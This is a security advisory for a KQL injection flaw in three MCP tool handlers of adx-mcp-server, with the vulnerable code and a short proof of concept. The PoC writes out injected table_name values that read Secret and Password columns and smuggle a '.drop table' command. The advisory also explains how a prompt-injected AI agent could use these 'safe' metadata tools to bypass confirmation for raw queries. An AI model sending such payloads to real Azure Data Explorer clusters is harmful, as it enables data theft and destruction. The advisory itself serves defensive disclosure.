CVE-2026-33980

描述

### Summary adx-mcp-server (<= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: `get_table_schema`, `sample_table_data`, and `get_table_details`. The `table_name` parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster. ### Details The MCP tools construct KQL queries by directly embedding the `table_name` parameter into query strings: **Vulnerable code** ([permalink](https://github.com/pab1it0/adx-mcp-server/blob/48b2933/src/adx_mcp_server/server.py#L228)): ```python @mcp.tool(...) async def get_table_schema(table_name: str) -> List[Dict[str, Any]]: client = get_kusto_client() query = f"{table_name} | getschema" # <-- KQL injection result_set = client.execute(config.database, query) ``` ```python @mcp.tool(...) async def sample_table_data(table_name: str, sample_size: int = 10) -> List[Dict[str, Any]]: client = get_kusto_client() query = f"{table_name} | sample {sample_size}" # <-- KQL injection result_set = client.execute(config.database, query) ``` ```python @mcp.tool(...) async def get_table_details(table_name: str) -> List[Dict[str, Any]]: client = get_kusto_client() query = f".show table {table_name} details" # <-- KQL injection result_set = client.execute(config.database, query) ``` KQL allows chaining query operators with `|` and executing management commands prefixed with `.`. An attacker can inject: - `sensitive_table | project Secret, Password | take 100 //` to read arbitrary tables - Newline-separated management commands like `.drop table important_data` via `get_table_details` - Arbitrary KQL analytics queries via any of the three tools **Note:** While the server also has an `execute_query` tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to "safe" tools while requiring confirmation for `execute_query`. The injection bypasses this trust boundary. ### PoC ```python # PoC: KQL Injection via get_table_schema tool # The table_name parameter is injected into: f"{table_name} | getschema" import json # MCP tool call that exfiltrates data from a sensitive table tool_call = { "name": "get_table_schema", "arguments": { "table_name": "sensitive_data | project Secret, Password | take 100 //" } } print(json.dumps(tool_call, indent=2)) # Resulting KQL: "sensitive_data | project Secret, Password | take 100 // | getschema" # The // comments out "| getschema", executing an arbitrary data query instead # Destructive example via get_table_details: tool_call_destructive = { "name": "get_table_details", "arguments": { "table_name": "users details\n.drop table critical_data" } } # Resulting KQL: # .show table users details # .drop table critical_data details ```